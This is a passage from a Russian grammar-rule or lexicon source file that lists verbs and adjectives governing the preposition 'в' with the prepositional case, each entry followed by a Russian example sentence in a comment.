прилагательное:быстрый{}, // Кисель быстр в приготовлении
rus_verbs:призвать{}, // В День Воли белорусов призвали побороть страх и лень
rus_verbs:призывать{},
rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // этими деньгами смогу воспользоваться в отпуске (ВОСПОЛЬЗОВАТЬСЯ)
rus_verbs:КОНКУРИРОВАТЬ{}, // Наши клубы могли бы в Англии конкурировать с лидерами (КОНКУРИРОВАТЬ)
rus_verbs:ПОЗВАТЬ{}, // Американскую телеведущую позвали замуж в прямом эфире (ПОЗВАТЬ)
rus_verbs:ВЫХОДИТЬ{}, // Районные газеты Вологодчины будут выходить в цвете и новом формате (ВЫХОДИТЬ)
rus_verbs:РАЗВОРАЧИВАТЬСЯ{}, // Сюжет фэнтези разворачивается в двух мирах (РАЗВОРАЧИВАТЬСЯ)
rus_verbs:ОБСУДИТЬ{}, // В Самаре обсудили перспективы информатизации ветеринарии (ОБСУДИТЬ)
rus_verbs:ВЗДРОГНУТЬ{}, // она сильно вздрогнула во сне (ВЗДРОГНУТЬ)
rus_verbs:ПРЕДСТАВЛЯТЬ{}, // Сенаторы, представляющие в Комитете по разведке обе партии, поддержали эту просьбу (ПРЕДСТАВЛЯТЬ)
rus_verbs:ДОМИНИРОВАТЬ{}, // в химическом составе одной из планет доминирует метан (ДОМИНИРОВАТЬ)
rus_verbs:ОТКРЫТЬ{}, // Крым открыл в Москве собственный туристический офис (ОТКРЫТЬ)
rus_verbs:ПОКАЗАТЬ{}, // В Пушкинском музее показали золото инков (ПОКАЗАТЬ)
rus_verbs:наблюдать{}, // Наблюдаемый в отражении цвет излучения
rus_verbs:ПРОЛЕТЕТЬ{}, // Крупный астероид пролетел в непосредственной близости от Земли (ПРОЛЕТЕТЬ)
rus_verbs:РАССЛЕДОВАТЬ{}, // В Дагестане расследуют убийство федерального судьи (РАССЛЕДОВАТЬ)
rus_verbs:ВОЗОБНОВИТЬСЯ{}, // В Кемеровской области возобновилось движение по трассам международного значения (ВОЗОБНОВИТЬСЯ)
rus_verbs:ИЗМЕНИТЬСЯ{}, // изменилась она во всем (ИЗМЕНИТЬСЯ)
rus_verbs:СВЕРКАТЬ{}, // за широким окном комнаты город сверкал во тьме разноцветными огнями (СВЕРКАТЬ)
rus_verbs:СКОНЧАТЬСЯ{}, // В Риме скончался режиссёр знаменитого сериала «Спрут» (СКОНЧАТЬСЯ)
rus_verbs:ПРЯТАТЬСЯ{}, // Cкрытые спутники прячутся в кольцах Сатурна (ПРЯТАТЬСЯ)
rus_verbs:ВЫЗЫВАТЬ{}, // этот человек всегда вызывал во мне восхищение (ВЫЗЫВАТЬ)
rus_verbs:ВЫПУСТИТЬ{}, // Избирательные бюллетени могут выпустить в форме брошюры (ВЫПУСТИТЬ)
rus_verbs:НАЧИНАТЬСЯ{}, // В Москве начинается «марш в защиту детей» (НАЧИНАТЬСЯ)
rus_verbs:ЗАСТРЕЛИТЬ{}, // В Дагестане застрелили преподавателя медресе (ЗАСТРЕЛИТЬ)
rus_verbs:УРАВНЯТЬ{}, // Госзаказчиков уравняют в правах с поставщиками (УРАВНЯТЬ)
rus_verbs:промахнуться{}, // в первой половине невероятным образом промахнулся экс-форвард московского ЦСКА
rus_verbs:ОБЫГРАТЬ{}, // "Рубин" сенсационно обыграл в Мадриде вторую команду Испании (ОБЫГРАТЬ)
rus_verbs:ВКЛЮЧИТЬ{}, // В Челябинской области включен аварийный роуминг (ВКЛЮЧИТЬ)
rus_verbs:УЧАСТИТЬСЯ{}, // В селах Балаковского района участились случаи поджогов стогов сена (УЧАСТИТЬСЯ)
rus_verbs:СПАСТИ{}, // В Австралии спасли повисшего на проводе коршуна (СПАСТИ)
rus_verbs:ВЫПАСТЬ{}, // Отдельные фрагменты достигли земли, выпав в виде метеоритного дождя (ВЫПАСТЬ)
rus_verbs:НАГРАДИТЬ{}, // В Лондоне наградили лауреатов премии Brit Awards (НАГРАДИТЬ)
rus_verbs:ОТКРЫТЬСЯ{}, // в Москве открылся первый международный кинофестиваль
rus_verbs:ПОДНИМАТЬСЯ{}, // во мне поднималось раздражение
rus_verbs:ЗАВЕРШИТЬСЯ{}, // В Италии завершился традиционный Венецианский карнавал (ЗАВЕРШИТЬСЯ)
инфинитив:проводить{ вид:несоверш }, // Кузбасские депутаты проводят в Кемерове прием граждан
глагол:проводить{ вид:несоверш },
деепричастие:проводя{},
rus_verbs:отсутствовать{}, // Хозяйка квартиры в этот момент отсутствовала
rus_verbs:доложить{}, // об итогах своего визита он намерен доложить в американском сенате и Белом доме (ДОЛОЖИТЬ ОБ, В предл)
rus_verbs:ИЗДЕВАТЬСЯ{}, // В Эйлате издеваются над туристами (ИЗДЕВАТЬСЯ В предл)
rus_verbs:НАРУШИТЬ{}, // В нескольких регионах нарушено наземное транспортное сообщение (НАРУШИТЬ В предл)
rus_verbs:БЕЖАТЬ{}, // далеко внизу во тьме бежала невидимая река (БЕЖАТЬ В предл)
rus_verbs:СОБРАТЬСЯ{}, // Дмитрий оглядел собравшихся во дворе мальчишек (СОБРАТЬСЯ В предл)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // далеко вверху во тьме послышался ответ (ПОСЛЫШАТЬСЯ В предл)
rus_verbs:ПОКАЗАТЬСЯ{}, // во дворе показалась высокая фигура (ПОКАЗАТЬСЯ В предл)
rus_verbs:УЛЫБНУТЬСЯ{}, // Дмитрий горько улыбнулся во тьме (УЛЫБНУТЬСЯ В предл)
rus_verbs:ТЯНУТЬСЯ{}, // убежища тянулись во всех направлениях (ТЯНУТЬСЯ В предл)
rus_verbs:РАНИТЬ{}, // В американском университете ранили человека (РАНИТЬ В предл)
rus_verbs:ЗАХВАТИТЬ{}, // Пираты освободили корабль, захваченный в Гвинейском заливе (ЗАХВАТИТЬ В предл)
rus_verbs:РАЗБЕГАТЬСЯ{}, // люди разбегались во всех направлениях (РАЗБЕГАТЬСЯ В предл)
rus_verbs:ПОГАСНУТЬ{}, // во всем доме погас свет (ПОГАСНУТЬ В предл)
rus_verbs:ПОШЕВЕЛИТЬСЯ{}, // Дмитрий пошевелился во сне (ПОШЕВЕЛИТЬСЯ В предл)
rus_verbs:ЗАСТОНАТЬ{}, // раненый застонал во сне (ЗАСТОНАТЬ В предл)
прилагательное:ВИНОВАТЫЙ{}, // во всем виновато вино (ВИНОВАТЫЙ В)
rus_verbs:ОСТАВЛЯТЬ{}, // США оставляют в районе Персидского залива только один авианосец (ОСТАВЛЯТЬ В предл)
rus_verbs:ОТКАЗЫВАТЬСЯ{}, // В России отказываются от планов авиагруппы в Арктике (ОТКАЗЫВАТЬСЯ В предл)
rus_verbs:ЛИКВИДИРОВАТЬ{}, // В Кабардино-Балкарии ликвидирован подпольный завод по переработке нефти (ЛИКВИДИРОВАТЬ В предл)
rus_verbs:РАЗОБЛАЧИТЬ{}, // В США разоблачили крупнейшую махинацию с кредитками (РАЗОБЛАЧИТЬ В предл)
rus_verbs:СХВАТИТЬ{}, // их схватили во сне (СХВАТИТЬ В предл)
rus_verbs:НАЧАТЬ{}, // В Белгороде начали сбор подписей за отставку мэра (НАЧАТЬ В предл)
rus_verbs:РАСТИ{}, // Cамая маленькая муха растёт в голове муравья (РАСТИ В предл)
rus_verbs:похитить{}, // Двое россиян, похищенных террористами в Сирии, освобождены (похитить в предл)
rus_verbs:УЧАСТВОВАТЬ{}, // были застрелены два испанских гражданских гвардейца , участвовавших в слежке (УЧАСТВОВАТЬ В)
rus_verbs:УСЫНОВИТЬ{}, // Американцы забирают усыновленных в России детей (УСЫНОВИТЬ В)
rus_verbs:ПРОИЗВЕСТИ{}, // вы не увидите мясо или молоко , произведенное в районе (ПРОИЗВЕСТИ В предл)
rus_verbs:ОРИЕНТИРОВАТЬСЯ{}, // призван помочь госслужащему правильно ориентироваться в сложных нравственных коллизиях (ОРИЕНТИРОВАТЬСЯ В)
rus_verbs:ПОВРЕДИТЬ{}, // В зале игровых автоматов повреждены стены и потолок (ПОВРЕДИТЬ В предл)
rus_verbs:ИЗЪЯТЬ{}, // В настоящее время в детском учреждении изъяты суточные пробы пищи (ИЗЪЯТЬ В предл)
rus_verbs:СОДЕРЖАТЬСЯ{}, // осужденных , содержащихся в помещениях штрафного изолятора (СОДЕРЖАТЬСЯ В)
rus_verbs:ОТЧИСЛИТЬ{}, // был отчислен за неуспеваемость в 2007 году (ОТЧИСЛИТЬ В предл)
rus_verbs:проходить{}, // находился на санкционированном митинге , проходившем в рамках празднования Дня народного единства (проходить в предл)
rus_verbs:ПОДУМЫВАТЬ{}, // сейчас в правительстве Приамурья подумывают о создании специального пункта помощи туристам (ПОДУМЫВАТЬ В)
rus_verbs:ОТРАПОРТОВЫВАТЬ{}, // главы субъектов не просто отрапортовывали в Москве (ОТРАПОРТОВЫВАТЬ В предл)
rus_verbs:ВЕСТИСЬ{}, // в городе ведутся работы по установке праздничной иллюминации (ВЕСТИСЬ В)
rus_verbs:ОДОБРИТЬ{}, // Одобренным в первом чтении законопроектом (ОДОБРИТЬ В)
rus_verbs:ЗАМЫЛИТЬСЯ{}, // ему легче исправлять , то , что замылилось в глазах предыдущего руководства (ЗАМЫЛИТЬСЯ В)
rus_verbs:АВТОРИЗОВАТЬСЯ{}, // потом имеют право авторизоваться в системе Международного бакалавриата (АВТОРИЗОВАТЬСЯ В)
rus_verbs:ОПУСТИТЬСЯ{}, // Россия опустилась в списке на шесть позиций (ОПУСТИТЬСЯ В предл)
rus_verbs:СГОРЕТЬ{}, // Совладелец сгоревшего в Бразилии ночного клуба сдался полиции (СГОРЕТЬ В)
частица:нет{}, // В этом нет сомнения.
частица:нету{}, // В этом нету сомнения.
rus_verbs:поджечь{}, // Поджегший себя в Москве мужчина оказался ветераном-афганцем
rus_verbs:ввести{}, // В Молдавии введен запрет на амнистию или помилование педофилов.
прилагательное:ДОСТУПНЫЙ{}, // Наиболее интересные таблички доступны в основной экспозиции музея (ДОСТУПНЫЙ В)
rus_verbs:ПОВИСНУТЬ{}, // вопрос повис в мглистом демократическом воздухе (ПОВИСНУТЬ В)
rus_verbs:ВЗОРВАТЬ{}, // В Ираке смертник взорвал в мечети группу туркменов (ВЗОРВАТЬ В)
rus_verbs:ОТНЯТЬ{}, // В Финляндии у россиянки, прибывшей по туристической визе, отняли детей (ОТНЯТЬ В)
rus_verbs:НАЙТИ{}, // Я недавно посетил врача и у меня в глазах нашли какую-то фигню (НАЙТИ В предл)
rus_verbs:ЗАСТРЕЛИТЬСЯ{}, // Девушка, застрелившаяся в центре Киева, была замешана в скандале с влиятельными людьми (ЗАСТРЕЛИТЬСЯ В)
rus_verbs:стартовать{}, // В Страсбурге сегодня стартует зимняя сессия Парламентской ассамблеи Совета Европы (стартовать в)
rus_verbs:ЗАКЛАДЫВАТЬСЯ{}, // Отношение к деньгам закладывается в детстве (ЗАКЛАДЫВАТЬСЯ В)
rus_verbs:НАПИВАТЬСЯ{}, // Депутатам помешают напиваться в здании Госдумы (НАПИВАТЬСЯ В)
rus_verbs:ВЫПРАВИТЬСЯ{}, // Прежде всего было заявлено, что мировая экономика каким-то образом сама выправится в процессе бизнес-цикла (ВЫПРАВИТЬСЯ В)
rus_verbs:ЯВЛЯТЬСЯ{}, // она являлась ко мне во всех моих снах (ЯВЛЯТЬСЯ В)
rus_verbs:СТАЖИРОВАТЬСЯ{}, // сейчас я стажируюсь в одной компании (СТАЖИРОВАТЬСЯ В)
rus_verbs:ОБСТРЕЛЯТЬ{}, // Уроженцы Чечни, обстрелявшие полицейских в центре Москвы, арестованы (ОБСТРЕЛЯТЬ В)
rus_verbs:РАСПРОСТРАНИТЬ{}, // Воски — распространённые в растительном и животном мире сложные эфиры высших жирных кислот и высших высокомолекулярных спиртов (РАСПРОСТРАНИТЬ В)
rus_verbs:ПРИВЕСТИ{}, // Сравнительная фугасность некоторых взрывчатых веществ приведена в следующей таблице (ПРИВЕСТИ В)
rus_verbs:ЗАПОДОЗРИТЬ{}, // Чиновников Минкультуры заподозрили в афере с заповедными землями (ЗАПОДОЗРИТЬ В)
rus_verbs:НАСТУПАТЬ{}, // В Гренландии стали наступать ледники (НАСТУПАТЬ В)
rus_verbs:ВЫДЕЛЯТЬСЯ{}, // В истории Земли выделяются следующие ледниковые эры (ВЫДЕЛЯТЬСЯ В)
rus_verbs:ПРЕДСТАВИТЬ{}, // Данные представлены в хронологическом порядке (ПРЕДСТАВИТЬ В)
rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА)
rus_verbs:ПОДАВАТЬ{}, // Готовые компоты подают в столовых и кафе (ПОДАВАТЬ В)
rus_verbs:ГОТОВИТЬ{}, // Сегодня компот готовят в домашних условиях из сухофруктов или замороженных фруктов и ягод (ГОТОВИТЬ В)
rus_verbs:ВОЗДЕЛЫВАТЬСЯ{}, // в настоящее время он повсеместно возделывается в огородах (ВОЗДЕЛЫВАТЬСЯ В)
rus_verbs:РАСКЛАДЫВАТЬ{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА)
rus_verbs:РАСКЛАДЫВАТЬСЯ{},
rus_verbs:СОБИРАТЬСЯ{}, // Обыкновенно огурцы собираются в полуспелом состоянии (СОБИРАТЬСЯ В)
rus_verbs:ПРОГРЕМЕТЬ{}, // В торговом центре Ижевска прогремел взрыв (ПРОГРЕМЕТЬ В)
rus_verbs:СНЯТЬ{}, // чтобы снять их во всей красоте. (СНЯТЬ В)
rus_verbs:ЯВИТЬСЯ{}, // она явилась к нему во сне. (ЯВИТЬСЯ В)
rus_verbs:ВЕРИТЬ{}, // мы же во всем верили капитану. (ВЕРИТЬ В предл)
rus_verbs:выдержать{}, // Игра выдержана в научно-фантастическом стиле. (ВЫДЕРЖАННЫЙ В)
rus_verbs:ПРЕОДОЛЕТЬ{}, // мы пытались преодолеть ее во многих местах. (ПРЕОДОЛЕТЬ В)
инфинитив:НАПИСАТЬ{ aux stress="напис^ать" }, // Программа, написанная в спешке, выполнила недопустимую операцию. (НАПИСАТЬ В)
глагол:НАПИСАТЬ{ aux stress="напис^ать" },
прилагательное:НАПИСАННЫЙ{},
rus_verbs:ЕСТЬ{}, // ты даже во сне ел. (ЕСТЬ/кушать В)
rus_verbs:УСЕСТЬСЯ{}, // Он удобно уселся в кресле. (УСЕСТЬСЯ В)
rus_verbs:ТОРГОВАТЬ{}, // Он торгует в палатке. (ТОРГОВАТЬ В)
rus_verbs:СОВМЕСТИТЬ{}, // Он совместил в себе писателя и художника. (СОВМЕСТИТЬ В)
rus_verbs:ЗАБЫВАТЬ{}, // об этом нельзя забывать даже во сне. (ЗАБЫВАТЬ В)
rus_verbs:поговорить{}, // Давайте поговорим об этом в присутствии адвоката
rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ)
rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА)
rus_verbs:раскрыть{}, // В России раскрыли крупнейшую в стране сеть фальшивомонетчиков (РАСКРЫТЬ В)
rus_verbs:соединить{}, // соединить в себе (СОЕДИНИТЬ В предл)
rus_verbs:избрать{}, // В Южной Корее избран новый президент (ИЗБРАТЬ В предл)
rus_verbs:проводиться{}, // Обыски проводятся в воронежском Доме прав человека (ПРОВОДИТЬСЯ В)
безлич_глагол:хватает{}, // В этой статье не хватает ссылок на источники информации. (БЕЗЛИЧ хватать в)
rus_verbs:наносить{}, // В ближнем бою наносит мощные удары своим костлявым кулаком. (НАНОСИТЬ В + предл.)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
прилагательное:известный{}, // В Европе сахар был известен ещё римлянам. (ИЗВЕСТНЫЙ В)
rus_verbs:выработать{}, // Способы, выработанные во Франции, перешли затем в Германию и другие страны Европы. (ВЫРАБОТАТЬ В)
rus_verbs:КУЛЬТИВИРОВАТЬСЯ{}, // Культивируется в регионах с умеренным климатом с умеренным количеством осадков и требует плодородной почвы. (КУЛЬТИВИРОВАТЬСЯ В)
rus_verbs:чаять{}, // мама души не чаяла в своих детях (ЧАЯТЬ В)
rus_verbs:улыбаться{}, // Вадим улыбался во сне. (УЛЫБАТЬСЯ В)
rus_verbs:растеряться{}, // Приезжие растерялись в бетонном лабиринте улиц (РАСТЕРЯТЬСЯ В)
rus_verbs:выть{}, // выли волки где-то в лесу (ВЫТЬ В)
rus_verbs:ЗАВЕРИТЬ{}, // выступавший заверил нас в намерении выполнить обещание (ЗАВЕРИТЬ В)
rus_verbs:ИСЧЕЗНУТЬ{}, // звери исчезли во мраке. (ИСЧЕЗНУТЬ В)
rus_verbs:ВСТАТЬ{}, // встать во главе человечества. (ВСТАТЬ В)
rus_verbs:УПОТРЕБЛЯТЬ{}, // В Тибете употребляют кирпичный зелёный чай. (УПОТРЕБЛЯТЬ В)
rus_verbs:ПОДАВАТЬСЯ{}, // Напиток охлаждается и подаётся в холодном виде. (ПОДАВАТЬСЯ В)
rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // в игре используются текстуры большего разрешения (ИСПОЛЬЗОВАТЬСЯ В)
rus_verbs:объявить{}, // В газете объявили о конкурсе.
rus_verbs:ВСПЫХНУТЬ{}, // во мне вспыхнул гнев. (ВСПЫХНУТЬ В)
rus_verbs:КРЫТЬСЯ{}, // В его словах кроется угроза. (КРЫТЬСЯ В)
rus_verbs:подняться{}, // В классе вдруг поднялся шум. (подняться в)
rus_verbs:наступить{}, // В классе наступила полная тишина. (наступить в)
rus_verbs:кипеть{}, // В нём кипит злоба. (кипеть в)
rus_verbs:соединиться{}, // В нём соединились храбрость и великодушие. (соединиться в)
инфинитив:ПАРИТЬ{ aux stress="пар^ить"}, // Высоко в небе парит орёл, плавно описывая круги. (ПАРИТЬ В)
глагол:ПАРИТЬ{ aux stress="пар^ить"},
деепричастие:паря{ aux stress="пар^я" },
прилагательное:ПАРЯЩИЙ{},
прилагательное:ПАРИВШИЙ{},
rus_verbs:СИЯТЬ{}, // Главы собора сияли в лучах солнца. (СИЯТЬ В)
rus_verbs:РАСПОЛОЖИТЬ{}, // Гостиница расположена глубоко в горах. (РАСПОЛОЖИТЬ В)
rus_verbs:развиваться{}, // Действие в комедии развивается в двух планах. (развиваться в)
rus_verbs:ПОСАДИТЬ{}, // Дети посадили у нас во дворе цветы. (ПОСАДИТЬ В)
rus_verbs:ИСКОРЕНЯТЬ{}, // Дурные привычки следует искоренять в самом начале. (ИСКОРЕНЯТЬ В)
rus_verbs:ВОССТАНОВИТЬ{}, // Его восстановили в правах. (ВОССТАНОВИТЬ В)
rus_verbs:ПОЛАГАТЬСЯ{}, // мы полагаемся на него в этих вопросах (ПОЛАГАТЬСЯ В)
rus_verbs:УМИРАТЬ{}, // они умирали во сне. (УМИРАТЬ В)
rus_verbs:ПРИБАВИТЬ{}, // Она сильно прибавила в весе. (ПРИБАВИТЬ В)
rus_verbs:посмотреть{}, // Посмотрите в списке. (посмотреть в)
rus_verbs:производиться{}, // Выдача новых паспортов будет производиться в следующем порядке (производиться в)
rus_verbs:принять{}, // Документ принят в следующей редакции (принять в)
rus_verbs:сверкнуть{}, // меч его сверкнул во тьме. (сверкнуть в)
rus_verbs:ВЫРАБАТЫВАТЬ{}, // ты должен вырабатывать в себе силу воли (ВЫРАБАТЫВАТЬ В)
rus_verbs:достать{}, // Эти сведения мы достали в Волгограде. (достать в)
rus_verbs:звучать{}, // в доме звучала музыка (звучать в)
rus_verbs:колебаться{}, // колеблется в выборе (колебаться в)
rus_verbs:мешать{}, // мешать в кастрюле суп (мешать в)
rus_verbs:нарастать{}, // во мне нарастал гнев (нарастать в)
rus_verbs:отбыть{}, // Вадим отбыл в неизвестном направлении (отбыть в)
rus_verbs:светиться{}, // во всем доме светилось только окно ее спальни. (светиться в)
rus_verbs:вычитывать{}, // вычитывать в книге
rus_verbs:гудеть{}, // У него в ушах гудит.
rus_verbs:давать{}, // В этой лавке дают в долг?
rus_verbs:поблескивать{}, // Красивое стеклышко поблескивало в пыльной траве у дорожки.
rus_verbs:разойтись{}, // Они разошлись в темноте.
rus_verbs:прибежать{}, // Мальчик прибежал в слезах.
rus_verbs:биться{}, // Она билась в истерике.
rus_verbs:регистрироваться{}, // регистрироваться в системе
rus_verbs:считать{}, // я буду считать в уме
rus_verbs:трахаться{}, // трахаться в гамаке
rus_verbs:сконцентрироваться{}, // сконцентрироваться в одной точке
rus_verbs:разрушать{}, // разрушать в дробилке
rus_verbs:засидеться{}, // засидеться в гостях
rus_verbs:засиживаться{}, // засиживаться в гостях
rus_verbs:утопить{}, // утопить лодку в реке (утопить в реке)
rus_verbs:навестить{}, // навестить в доме престарелых
rus_verbs:запомнить{}, // запомнить в кэше
rus_verbs:убивать{}, // убивать в помещении полиции (-score убивать неодуш. дом.)
rus_verbs:базироваться{}, // установка базируется в черте города (ngram черта города - проверить что есть проверка)
rus_verbs:покупать{}, // Чаще всего россияне покупают в интернете бытовую технику.
rus_verbs:ходить{}, // ходить в пальто (сделать ХОДИТЬ + в + ОДЕЖДА предл.п.)
rus_verbs:заложить{}, // диверсанты заложили в помещении бомбу
rus_verbs:оглядываться{}, // оглядываться в зеркале
rus_verbs:нарисовать{}, // нарисовать в тетрадке
rus_verbs:пробить{}, // пробить отверствие в стене
rus_verbs:повертеть{}, // повертеть в руке
rus_verbs:вертеть{}, // Я вертел в руках
rus_verbs:рваться{}, // Веревка рвется в месте надреза
rus_verbs:распространяться{}, // распространяться в среде наркоманов
rus_verbs:попрощаться{}, // попрощаться в здании морга
rus_verbs:соображать{}, // соображать в уме
инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, // просыпаться в чужой кровати
rus_verbs:заехать{}, // Коля заехал в гости (в гости - устойчивый наречный оборот)
rus_verbs:разобрать{}, // разобрать в гараже
rus_verbs:помереть{}, // помереть в пути
rus_verbs:различить{}, // различить в темноте
rus_verbs:рисовать{}, // рисовать в графическом редакторе
rus_verbs:проследить{}, // проследить в записях камер слежения
rus_verbs:совершаться{}, // Правосудие совершается в суде
rus_verbs:задремать{}, // задремать в кровати
rus_verbs:ругаться{}, // ругаться в комнате
rus_verbs:зазвучать{}, // зазвучать в радиоприемниках
rus_verbs:задохнуться{}, // задохнуться в воде
rus_verbs:порождать{}, // порождать в неокрепших умах
rus_verbs:отдыхать{}, // отдыхать в санатории
rus_verbs:упоминаться{}, // упоминаться в предыдущем сообщении
rus_verbs:образовать{}, // образовать в пробирке темную взвесь
rus_verbs:отмечать{}, // отмечать в списке
rus_verbs:подчеркнуть{}, // подчеркнуть в блокноте
rus_verbs:плясать{}, // плясать в откружении незнакомых людей
rus_verbs:повысить{}, // повысить в звании
rus_verbs:поджидать{}, // поджидать в подъезде
rus_verbs:отказать{}, // отказать в пересмотре дела
rus_verbs:раствориться{}, // раствориться в бензине
rus_verbs:отражать{}, // отражать в стихах
rus_verbs:дремать{}, // дремать в гамаке
rus_verbs:применяться{}, // применяться в домашних условиях
rus_verbs:присниться{}, // присниться во сне
rus_verbs:трястись{}, // трястись в драндулете
rus_verbs:сохранять{}, // сохранять в неприкосновенности
rus_verbs:расстрелять{}, // расстрелять в ложбине
rus_verbs:рассчитать{}, // рассчитать в программе
rus_verbs:перебирать{}, // перебирать в руке
rus_verbs:разбиться{}, // разбиться в аварии
rus_verbs:поискать{}, // поискать в углу
rus_verbs:мучиться{}, // мучиться в тесной клетке
rus_verbs:замелькать{}, // замелькать в телевизоре
rus_verbs:грустить{}, // грустить в одиночестве
rus_verbs:крутить{}, // крутить в банке
rus_verbs:объявиться{}, // объявиться в городе
rus_verbs:подготовить{}, // подготовить в тайне
rus_verbs:различать{}, // различать в смеси
rus_verbs:обнаруживать{}, // обнаруживать в крови
rus_verbs:киснуть{}, // киснуть в захолустье
rus_verbs:оборваться{}, // оборваться в начале фразы
rus_verbs:запутаться{}, // запутаться в веревках
rus_verbs:общаться{}, // общаться в интимной обстановке
rus_verbs:сочинить{}, // сочинить в ресторане
rus_verbs:изобрести{}, // изобрести в домашней лаборатории
rus_verbs:прокомментировать{}, // прокомментировать в своем блоге
rus_verbs:давить{}, // давить в зародыше
rus_verbs:повториться{}, // повториться в новом обличье
rus_verbs:отставать{}, // отставать в общем зачете
rus_verbs:разработать{}, // разработать в лаборатории
rus_verbs:качать{}, // качать в кроватке
rus_verbs:заменить{}, // заменить в двигателе
rus_verbs:задыхаться{}, // задыхаться в душной и влажной атмосфере
rus_verbs:забегать{}, // забегать в спешке
rus_verbs:наделать{}, // наделать в решении ошибок
rus_verbs:исказиться{}, // исказиться в кривом зеркале
rus_verbs:тушить{}, // тушить в помещении пожар
rus_verbs:охранять{}, // охранять в здании входы
rus_verbs:приметить{}, // приметить в кустах
rus_verbs:скрыть{}, // скрыть в складках одежды
rus_verbs:удерживать{}, // удерживать в заложниках
rus_verbs:увеличиваться{}, // увеличиваться в размере
rus_verbs:красоваться{}, // красоваться в новом платье
rus_verbs:сохраниться{}, // сохраниться в тепле
rus_verbs:лечить{}, // лечить в стационаре
rus_verbs:смешаться{}, // смешаться в баке
rus_verbs:прокатиться{}, // прокатиться в троллейбусе
rus_verbs:договариваться{}, // договариваться в закрытом кабинете
rus_verbs:опубликовать{}, // опубликовать в официальном блоге
rus_verbs:охотиться{}, // охотиться в прериях
rus_verbs:отражаться{}, // отражаться в окне
rus_verbs:понизить{}, // понизить в должности
rus_verbs:обедать{}, // обедать в ресторане
rus_verbs:посидеть{}, // посидеть в тени
rus_verbs:сообщаться{}, // сообщаться в оппозиционной газете
rus_verbs:свершиться{}, // свершиться в суде
rus_verbs:ночевать{}, // ночевать в гостинице
rus_verbs:темнеть{}, // темнеть в воде
rus_verbs:гибнуть{}, // гибнуть в застенках
rus_verbs:усиливаться{}, // усиливаться в направлении главного удара
rus_verbs:расплыться{}, // расплыться в улыбке
rus_verbs:превышать{}, // превышать в несколько раз
rus_verbs:проживать{}, // проживать в отдельной коморке
rus_verbs:голубеть{}, // голубеть в тепле
rus_verbs:исследовать{}, // исследовать в естественных условиях
rus_verbs:обитать{}, // обитать в лесу
rus_verbs:скучать{}, // скучать в одиночестве
rus_verbs:сталкиваться{}, // сталкиваться в воздухе
rus_verbs:таиться{}, // таиться в глубине
rus_verbs:спасать{}, // спасать в море
rus_verbs:заблудиться{}, // заблудиться в лесу
rus_verbs:создаться{}, // создаться в новом виде
rus_verbs:пошарить{}, // пошарить в кармане
rus_verbs:планировать{}, // планировать в программе
rus_verbs:отбить{}, // отбить в нижней части
rus_verbs:отрицать{}, // отрицать в суде свою вину
rus_verbs:основать{}, // основать в пустыне новый город
rus_verbs:двоить{}, // двоить в глазах
rus_verbs:устоять{}, // устоять в лодке
rus_verbs:унять{}, // унять в ногах дрожь
rus_verbs:отзываться{}, // отзываться в обзоре
rus_verbs:притормозить{}, // притормозить в траве
rus_verbs:читаться{}, // читаться в глазах
rus_verbs:житься{}, // житься в деревне
rus_verbs:заиграть{}, // заиграть в жилах
rus_verbs:шевелить{}, // шевелить в воде
rus_verbs:зазвенеть{}, // зазвенеть в ушах
rus_verbs:зависнуть{}, // зависнуть в библиотеке
rus_verbs:затаить{}, // затаить в душе обиду
rus_verbs:сознаться{}, // сознаться в совершении
rus_verbs:протекать{}, // протекать в легкой форме
rus_verbs:выясняться{}, // выясняться в ходе эксперимента
rus_verbs:скрестить{}, // скрестить в неволе
rus_verbs:наводить{}, // наводить в комнате порядок
rus_verbs:значиться{}, // значиться в документах
rus_verbs:заинтересовать{}, // заинтересовать в получении результатов
rus_verbs:познакомить{}, // познакомить в непринужденной обстановке
rus_verbs:рассеяться{}, // рассеяться в воздухе
rus_verbs:грохнуть{}, // грохнуть в подвале
rus_verbs:обвинять{}, // обвинять в вымогательстве
rus_verbs:столпиться{}, // столпиться в фойе
rus_verbs:порыться{}, // порыться в сумке
rus_verbs:ослабить{}, // ослабить в верхней части
rus_verbs:обнаруживаться{}, // обнаруживаться в кармане куртки
rus_verbs:спастись{}, // спастись в хижине
rus_verbs:прерваться{}, // прерваться в середине фразы
rus_verbs:применять{}, // применять в повседневной работе
rus_verbs:строиться{}, // строиться в зоне отчуждения
rus_verbs:путешествовать{}, // путешествовать в самолете
rus_verbs:побеждать{}, // побеждать в честной битве
rus_verbs:погубить{}, // погубить в себе артиста
rus_verbs:рассматриваться{}, // рассматриваться в следующей главе
rus_verbs:продаваться{}, // продаваться в специализированном магазине
rus_verbs:разместиться{}, // разместиться в аудитории
rus_verbs:повидать{}, // повидать в жизни
rus_verbs:настигнуть{}, // настигнуть в пригородах
rus_verbs:сгрудиться{}, // сгрудиться в центре загона
rus_verbs:укрыться{}, // укрыться в доме
rus_verbs:расплакаться{}, // расплакаться в суде
rus_verbs:пролежать{}, // пролежать в канаве
rus_verbs:замерзнуть{}, // замерзнуть в ледяной воде
rus_verbs:поскользнуться{}, // поскользнуться в коридоре
rus_verbs:таскать{}, // таскать в руках
rus_verbs:нападать{}, // нападать в вольере
rus_verbs:просматривать{}, // просматривать в браузере
rus_verbs:обдумать{}, // обдумать в дороге
rus_verbs:обвинить{}, // обвинить в измене
rus_verbs:останавливать{}, // останавливать в дверях
rus_verbs:теряться{}, // теряться в догадках
rus_verbs:погибать{}, // погибать в бою
rus_verbs:обозначать{}, // обозначать в списке
rus_verbs:запрещать{}, // запрещать в парке
rus_verbs:долететь{}, // долететь в вертолёте
rus_verbs:тесниться{}, // тесниться в каморке
rus_verbs:уменьшаться{}, // уменьшаться в размере
rus_verbs:издавать{}, // издавать в небольшом издательстве
rus_verbs:хоронить{}, // хоронить в море
